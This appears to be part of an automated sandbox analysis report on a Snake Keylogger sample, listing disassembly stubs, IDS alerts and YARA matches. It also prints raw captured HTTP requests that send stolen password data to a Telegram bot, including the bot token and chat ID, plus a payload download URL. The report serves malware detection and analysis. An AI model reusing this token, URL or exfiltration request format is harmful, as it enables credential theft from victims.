Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FDBA75h	23_2_37FDB6D8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FD8075h	23_2_37FD7CD8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FDC03Dh	23_2_37FDBCA0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FD863Dh	23_2_37FD82A0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FD8C05h	23_2_37FD8868
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FDC605h	23_2_37FDC268
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FD03DDh	23_2_37FD0040
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FD91CDh	23_2_37FD8E30
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FD09A5h	23_2_37FD0608
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	23_2_37FD5020
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	23_2_37FD5010
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	23_2_381DDA68
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	23_2_381DDA67
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	23_2_381D3EFA
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	23_2_382CC4F0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49791 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49810 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49742 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49817 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49776 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49813 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49847 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49806 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49846 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49775 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49867 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49811 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49764 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49839 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49793 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49840 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49877 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49855 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49821 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49898 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49825 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49878 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49887 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49836 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49802 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49823 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49854 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49912 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49905 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49922 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49831 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49928 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49786 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49897 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49921 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49832 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49858 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49930 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49920 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49828 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49950 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49943 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49770 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49876 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49942 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49913 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49914 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49970 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49948 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49963 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49979 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49964 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49941 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49985 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49995 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49971 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49927 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49954 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49868 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49956 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49936 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:50018 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49884 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49850 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49818 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:50027 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:50009 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:50041 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:50033 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49863 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:50049 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49972 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:50047 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:50019 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:50057 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49958 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:50070 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49980 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49886 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49864 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49870 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:50048 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:50025 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:50040 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:50023 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49899 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49988 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49962 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:50031 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:50055 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49978 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49994 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49842 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49987 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49933 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49996 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49781 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:50056 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:50010 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49803 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:50017 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49949 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:50039 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49935 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:50011 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49904 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49906 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:50032 -> 149.154.167.220:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://bitbucket.org/ntim1478/gpmaw/downloads/240_Cobsfhiygmx

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 26.2.yihfsboC.pif.2b4c0000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.yihfsboC.pif.327be688.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.34860000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.25d6b98e.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.35955570.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.3598e790.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.285a0000.14.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.34690000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.285db98e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.342dc896.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.3.yihfsboC.pif.268cecc8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.2994e790.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.29916478.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.285dc896.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.2ae90f08.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.342db98e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.2ae90000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.35956478.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.28be0000.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.34690f08.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.2709e790.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.27065570.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.yihfsboC.pif.24219998.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.29915570.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.2542721990.0000000034860000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2542354548.0000000028BE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2538945311.000000002B4C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe

Code function: 0_2_02B2E4B8 InternetCheckConnectionA,

0_2_02B2E4B8

Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0dc18a308c59Host: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0dc191055343Host: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0dc19698755dHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0dd94d3b31f7Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0dcf44be8900Host: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0df0efc49c34Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e138cddbc0cHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e2afe1517dcHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0dc19c90c343Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0de89fac7a38Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e5dbbcfced3Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0dcf5032218bHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0dfed0e58a0dHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e74ea27430bHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0de86b2c0ccfHost: api.telegram.orgContent-Length: 537
